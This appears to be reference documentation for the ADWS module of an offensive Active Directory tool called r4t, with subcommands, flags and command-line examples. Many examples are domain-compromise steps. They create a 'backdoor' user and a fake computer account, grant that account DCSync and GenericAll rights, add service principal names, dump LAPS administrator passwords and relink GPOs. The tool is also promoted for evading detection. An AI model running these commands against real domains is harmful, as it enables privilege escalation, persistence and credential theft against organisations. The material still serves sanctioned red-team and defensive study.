adws
Active Directory Web Services (ADWS) operations. ADWS is the transport layer used by PowerShell’sActiveDirectory module — it communicates over port 9389 using SOAP/NBFS rather than raw LDAP. R4t implements ADWS as a fully-featured alternative to the ldap command.
Usage
r4t adws <subcommand> [flags]
| Flag | Short | Description |
|---|---|---|
--verify | -V | Verify the operation succeeded by re-reading the modified object |
Subcommands
adws query
Execute an arbitrary LDAP filter query via ADWS.
r4t adws query --filter "(objectClass=user)"
# Return specific attributes
r4t adws query --filter "(&(objectClass=user)(adminCount=1))" --attrs samAccountName,memberOf
# Limit results
r4t adws query --filter "(objectClass=computer)" --attrs name,operatingSystem --max 50
| Flag | Short | Description |
|---|---|---|
--filter | -F | LDAP filter [required] |
--attrs | -A | Attributes to return (repeatable) |
--max | -M | Maximum results (default: 100) |
adws get
Query specific AD object types.
r4t adws get <object-type> [name] [flags]
Object Types
| Type | Argument | Description |
|---|---|---|
users | — | All user accounts |
computers | — | All computer accounts |
groups | — | All security and distribution groups |
ous | — | All Organizational Units |
maq | — | Machine Account Quota |
passpol | — | Domain password policy |
funclvl | — | Domain/forest functional level |
domain | — | Domain information |
forest | — | Forest information |
dcs | — | All domain controllers |
trusts | — | Domain trust relationships |
user | <samAccountName> | Specific user |
computer | <samAccountName> | Specific computer |
group | <samAccountName> | Specific group |
ou | <name> | Specific OU |
dn | — | Object by DN (--dn required) |
dacl | <object> | DACL on an object |
dacls | — | DACLs for all high-value objects |
gplink | <object> | GPO links on a container |
gplinks | — | All GPO links in the domain |
Flags
| Flag | Description |
|---|---|
--attrs | Comma-separated attributes to return |
--active | Filter to only active/enabled objects (for users, computers) |
--person | Filter to only person-type users (for users) |
--no-truncate | Don’t truncate long values (for group) |
--dn | Distinguished Name to look up (for dn) |
--resolve | Resolve SID/GUID to names (for dacl, dacls) |
--as-user | Show effective rights as a specific user (for dacl, dacls) |
--as-group | Show effective rights as a group member (for dacl, dacls) |
Examples
# Get all users
r4t adws get users
# Get only active users with specific attributes
r4t adws get users --active --attrs samAccountName,memberOf,lastLogon
# Get a specific user
r4t adws get user jsmith
# Get a specific computer
r4t adws get computer WS01$
# Get a group with member list (no truncation)
r4t adws get group "Domain Admins" --no-truncate
# Get all domain controllers
r4t adws get dcs
# Get machine account quota
r4t adws get maq
# Get object by DN
r4t adws get dn --dn "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com"
# Get DACL for an object (with SID resolution)
r4t adws get dacl "CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com" --resolve
# Get all high-value DACLs
r4t adws get dacls --resolve
# Get GPO links on an OU
r4t adws get gplink "OU=Workstations,DC=corp,DC=example,DC=com"
# Get all GPO links
r4t adws get gplinks
adws create
Create new AD objects.
r4t adws create <object-type> <name> [password] [flags]
| Type | Arguments | Description |
|---|---|---|
user | <samAccountName> <password> | Create a new user account |
computer | <hostname> <password> | Create a new computer account |
group | <samAccountName> | Create a new security group |
ou | <name> | Create a new Organizational Unit |
| Flag | Description |
|---|---|
--ou | Parent OU DN for the new object (for user, computer, group) |
--parent | Parent DN for the new OU |
Examples
# Create a user
r4t adws create user backdoor 'P@ssword1' --ou "CN=Users,DC=corp,DC=example,DC=com"
# Create a computer account
r4t adws create computer FAKEPC$ 'RandomPass123!'
# Create a group
r4t adws create group "Evil Admins" --ou "CN=Users,DC=corp,DC=example,DC=com"
# Create an OU
r4t adws create ou "Staging" --parent "DC=corp,DC=example,DC=com"
adws modify
Modify existing AD objects.
r4t adws modify <subcommand> [flags]
| Subcommand | Arguments | Description |
|---|---|---|
user | <samAccountName> | Modify user attributes |
computer | <hostname> | Modify computer attributes |
group | <samAccountName> | Modify group attributes |
ou | <name> | Modify OU attributes |
attr | — | Modify a specific attribute by DN |
remove-group-member | <groupName> | Remove a member from a group |
dacl | <object> | Modify the DACL of an object |
gplink | <object> | Modify GPO links on a container |
Flags for modify user/computer/group/ou
| Flag | Description |
|---|---|
--attrs | Attributes to set in key=value format [required] |
Flags for modify attr
| Flag | Description |
|---|---|
--dn | DN of the object to modify [required] |
--attr | Attribute name to modify [required] |
--value | New value |
--op | Operation: replace, add, delete |
Flags for modify remove-group-member
| Flag | Description |
|---|---|
--member-dn | DN of the member to remove [required] |
Flags for modify dacl
| Flag | Description |
|---|---|
--trustee | Account to grant/revoke rights to |
--generic-all | Grant GenericAll |
--dcsync | Grant DCSync rights (Replicating Directory Changes All) |
--rbcd | Grant Resource-Based Constrained Delegation rights |
--shadow-cred | Grant shadow credential write rights |
--set-owner | Set as owner of the object |
--restore | Restore original DACL |
Flags for modify gplink
| Flag | Description |
|---|---|
--gpo-guid | GUID of the GPO |
--link | Create a new GPO link |
--unlink | Remove a GPO link |
--enforced | Set the GPO link as enforced |
--restore | Restore original GPO links |
Examples
# Modify user attributes
r4t adws modify user jsmith --attrs "description=Test account"
# Modify specific attribute by DN
r4t adws modify attr --dn "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com" \
--attr servicePrincipalName --value "HTTP/app.corp.example.com" --op add
# Remove user from group
r4t adws modify remove-group-member "Domain Admins" \
--member-dn "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com"
# Grant DCSync rights to a controlled account
r4t adws modify dacl "DC=corp,DC=example,DC=com" --trustee backdoor --dcsync
# Grant GenericAll on a target object
r4t adws modify dacl "CN=jsmith,CN=Users,DC=corp,DC=example,DC=com" \
--trustee backdoor --generic-all
# Link a GPO to an OU
r4t adws modify gplink "OU=Workstations,DC=corp,DC=example,DC=com" \
--gpo-guid "{12345678-1234-1234-1234-123456789012}" --link
adws delete
Delete AD objects.
r4t adws delete <subcommand>
| Subcommand | Arguments | Description |
|---|---|---|
dn | — | Delete by DN (--dn required) |
user | <samAccountName> | Delete a user |
computer | <hostname> | Delete a computer |
group | <samAccountName> | Delete a group |
ou | <name> | Delete an OU |
# Delete by DN
r4t adws delete dn --dn "CN=backdoor,CN=Users,DC=corp,DC=example,DC=com"
# Delete user
r4t adws delete user backdoor
# Delete computer
r4t adws delete computer FAKEPC$
adws laps
Interact with LAPS (Local Administrator Password Solution) via ADWS.
r4t adws laps <subcommand> [computer]
| Subcommand | Arguments | Description |
|---|---|---|
enabled | [computer] | List computers with LAPS enabled (or check a specific one) |
dump | [computer] | Dump readable LAPS passwords (or for a specific computer) |
permissions | [computer] | Show principals with LAPS read access |
set | <computer> <password> | Set the LAPS password for a computer |
# List all LAPS-enabled computers
r4t adws laps enabled
# Dump all LAPS passwords you can read
r4t adws laps dump
# Get LAPS password for a specific computer
r4t adws laps dump WS01
# See who can read LAPS passwords for a specific machine
r4t adws laps permissions WS01
# Set a LAPS password (requires write access)
r4t adws laps set WS01 'NewLAPSpass123!'
ADWS vs LDAP
| Feature | adws | ldap |
|---|---|---|
| Port | 9389 | 389 / 636 |
| Protocol | SOAP over NBFS | Raw LDAP |
| Detection profile | Lower (mimics PowerShell AD module) | Standard LDAP queries |
| Query obfuscation | Via ADWS transport | Via el-dap |
| Coverage | Full parity | Full parity |